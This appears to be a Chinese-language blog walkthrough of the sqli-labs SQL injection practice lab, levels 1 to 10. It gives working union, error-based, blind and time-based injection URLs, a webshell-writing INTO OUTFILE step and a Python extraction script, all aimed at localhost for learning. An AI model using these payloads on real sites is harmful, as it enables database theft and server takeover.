最近在研究sql注入,只是看书有点无聊(不推荐大家去看《sql注入攻击与防御》,这本书的翻译很奇怪,而且内容不太适合小白,可以当小说看)
根据提示,可以知道只是个单引号注入的题目,我们在参数后面加一个单引号看下效果:
可以看到数据库报错了,最重要的就是能够看懂数据库的错误信息,从错误信息中我们可以知道是单引号的匹配出了问题,也就是说我们添加的单引号成功被数据库解析,那么我们就可以通过闭合这个id这个参数,然后插入自己构造的sql语句实施攻击。我们按照步骤来,一般可以使用联合表的方式来提取自己感兴趣的信息(union),但是使用union语句有个前提就是union 后面的语句必须与前面的语句字段数以及类型必须一直,否则数据库会报错。例如:
select 字段1,字段2 from tab1 union select 字段a,字段b from tab2
在这条sql语句中union前面的sql语句中的字段数应该与union后面的sql语句字段数一致,而且字段1与字段a类型相同,字段2与字段b类型相同(这里不过多阐述了)。
所以现在我们需要做的是
**A.**确定现有sql语句到底查询了多少个字段以及各字段的类型
**B.**构造利用代码
确定字段数一般可以使用order by 语句:
http://localhost/sqlilabs/Less-1/?id=1' order by 1 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 2 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 3 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 4 %23
报错:
意思就是没有第四个字段,也就可以推断原本的sql语句只是有用到了三个字段。
因为sql语句的执行结果只有第一行会被回显在页面上,所以我们要把原始语句的的结果集变为空,这样我们想要的结果才能显示在界面上,现在我们又需要确定哪几个字段会被显示在页面上:
http://localhost/sqlilabs/Less-1/?id=1' union select 1,2,3 %23
可以看到字段2,3被显示在了页面上。下面就可以构造语句了(列出几个常用的):
注:我的数据库是mysql
mysql中的注释常用两种方式–+与#,#在url中需要编码为%2以避免与url本身的锚点冲突。
获取数据库版本,数据库路径,当前用户,当前数据库:
http://localhost/sqlilabs/Less-1/?id=1' union select 1,concat_ws('_',user(),version(),database()),@@basedir
利用元数据库来爆表、爆数据
http://localhost/sqlilabs/Less-1/?id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
后面大家自由发挥吧
这次情况差不多,只是id不再试字符类型而是数字类型,所以这次不需要使用单引号。其它的利用方式都差不多,就不阐述了
后台处理id这个参数的方法再前两题的基础上做了调整,就是用单引号加括号将id参数包裹。我们可以直接看源码验证一下
这次采用了双引号将id括起来:
前面这几道题都大同小异,利用方法与less-1一致,区别只在于怎么闭合这个参数。
第五题属于一个新花样了,这次不在有从数据库来的数据回显,只有You are in。。。。与否,但是数据库的错误回显还是显示在了页面上。只要能够报错,我们就可一利用一种新的技术来将数据库中的数据给爆出来。
这里有篇关于该技术的博文:https://blog.csdn.net/Leep0rt/article/details/78556440
如果从没有接触过,请先阅读博文,我这里直接给出利用代码:
http://localhost/sqlilabs/Less-5/?id=%27union%20select%201,2,3%20from%20(select%201,count(*),concat_ws(%27____________%27,floor(rand()*2),concat_ws(%27********%27,version(),database()))a%20from%20information_schema.tables%20group%20by%20a)b--+
与less-5同类型,不过换成了双引号
这一题不得不说陷阱还真有点多。
根据题目是想要让我们利用dump into file功能写入小马。
首先还是要闭合id参数,我们想要判断id参数到底在后台是怎么处理的有个技巧,就是现在id后面添加单引号、双引号等特殊的字符看是否报错,如果报错了就可能后台参数就是被那种符号包裹的,但也只是可能,要确定是否真的如此,还需要加上注释符号试一下,看注释掉后面的语句后sql语句是否正常执行,若正常执行,那么可以确定id参数的处理方式。
这里经过多次试探返现id居然试被包裹在一个单引号,两个小括号中间。
查看源码可以验证:
还有想要写入小马自然需要知道路径啊,这里的路径在本题中需要用到盲注技巧,我们暂时不谈,但是通过前面的题目我们可以爆出路径。
接下来我就犯糊涂了,我就直接开始写:
')) union select "" into outfile '路径'
眼睛亮的人可能一眼就发现了,这里的union语句中的字段数与前面不匹配,所以一直报错。
改了一下:
')) union select 1,2,"" into outfile '路径'%23
结果还是报错,结果是字段类型不对。第二个字段类型是字符类型
写入小马后用cknife连接试一下:
在这一题,数据库的错误不再回显到页面上,但是我们可以发现当我们构造异常查询时,页面上的you are in会消失,这就是典型的布尔盲注,我们可以写一个脚本来跑数据,在这之前,我们先来看一下怎么利用布尔盲注。
**A.**绕过id参数
**B.**构造真假sql语句
通过前面介绍的技术我们可以推断出id参数时被单引号包裹的。
然后我用简单的语句测试一下结果集为空或者不为空页面的差异。
http://localhost/sqlilabs/Less-8/?id=1%27%20and%201=1--+
页面有You are in字样
http://localhost/sqlilabs/Less-8/?id=1%27%20and%201=2--+
页面无You are in字样
现在我们利用几个函数来获得自己想要的数据,构造类似下面的语句
http://localhost/sqlilabs/Less-8/?id=1%27%20and%20substr(version(),1,1)=5--+
这条语句判断mysql中的version函数的返回值的第一个字符是否为5,通过前面的知识我们可以知道,当这个条件成立时,页面将显示有You are in,否则没有,通过类似的手段我们可以获取到database(),@@datadir,user(),以及整个数据库的信息,不过需要构造不通的sql语句,而且要是手工一个一个字符去猜的话,也是需要大量重复性的工作,所以这个时候就需要脚本来跑了,下面是我的python脚本:
#! /usr/bin/env/python
#-*-coding:utf-8-*-
import requests
from bs4 import BeautifulSoup
import time
chars = r'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@;\/:.'
#boolean blind sql injection
def attack(target):
url = "http://localhost/sqlilabs/Less-8/?id=1%27%20and%20%20(select%20substr({0},{1},1))=%27{2}%27%23"
count = 1
result = ''
while(True):
result_tmp = result
for char in chars:
if char == '\\':
char = '\\\\'
response = requests.get(url.format(target,count,char))
soup = BeautifulSoup(response.text,'lxml')
font = soup.select('font["size=5"]')[0]
if font.get_text()=='You are in...........':
result+=char
print result+'......'
break
#判断是否结束
if result_tmp == result:
print u'脚本结束(结果不区分大小写)'
print result
break
count = count+1
#time blind sql injection
def time_blind(target):
url = "http://localhost/sqlilabs/Less-9/?id=1%27%20and%20if(substr({0},{1},1)=%27{2}%27,sleep(5),1)%23"
count = 1
result = ''
while (True):
result_tmp = result
for char in chars:
start = time.time()
if char == '\\':
char = '\\\\'
response = requests.get(url.format(target, count, char))
if time.time()-start>=5:
result += char
print result + '......'
break
# 判断是否结束
if result_tmp == result:
print u'脚本结束(结果不区分大小写)'
print result
break
count = count + 1
if __name__=='__main__':
#attack('user()')
time_blind('user()')
这个脚本包含了布尔盲注与时间盲注的利用方法,只是提供了一个思路,其实这个脚本的效率很低,时间复杂度较大,大家可以使用二分法来优化一下,需要用到ord()(将字符转化为对应的ascii码)这个函数。
根据提示,该题时时间盲注,实际上时间盲注时比较隐蔽的一种sql注入,因为在页面上显示上观察不到任何异常,异常出在页面的显示时间上,但是一旦存在这个漏洞它的利用就是很简单的,因为无论如何前端想服务器请求数据时,都必须等待数据库将数据返回,所以这个时间时无法避免的,于是脚本就很容易写出来了,同样的,我们先观察一下时间盲注的特征:
http://localhost/sqlilabs/Less-9/?id=1%27%20and%20if(substr(version(),1,1)=5,sleep(10),1)--+
结果进度条一直在转,说明在等待页面加载:
但是页面仍然是you are in
这里用到了mysql中的if函数,与sleep函数,可以百度一下他们的用法,脚本我已经在less-8中给出来了,只是想要不通的数据可能需要稍微修改一下url。
我想这一题就不需要细说了,因为只是id被双引号包裹了而已,我们闭合的单引号换成双引号就行。同样用脚本跑,重要的时要会自己写代码,不一定需要python,其它语言也是可以的。
每天进步一点点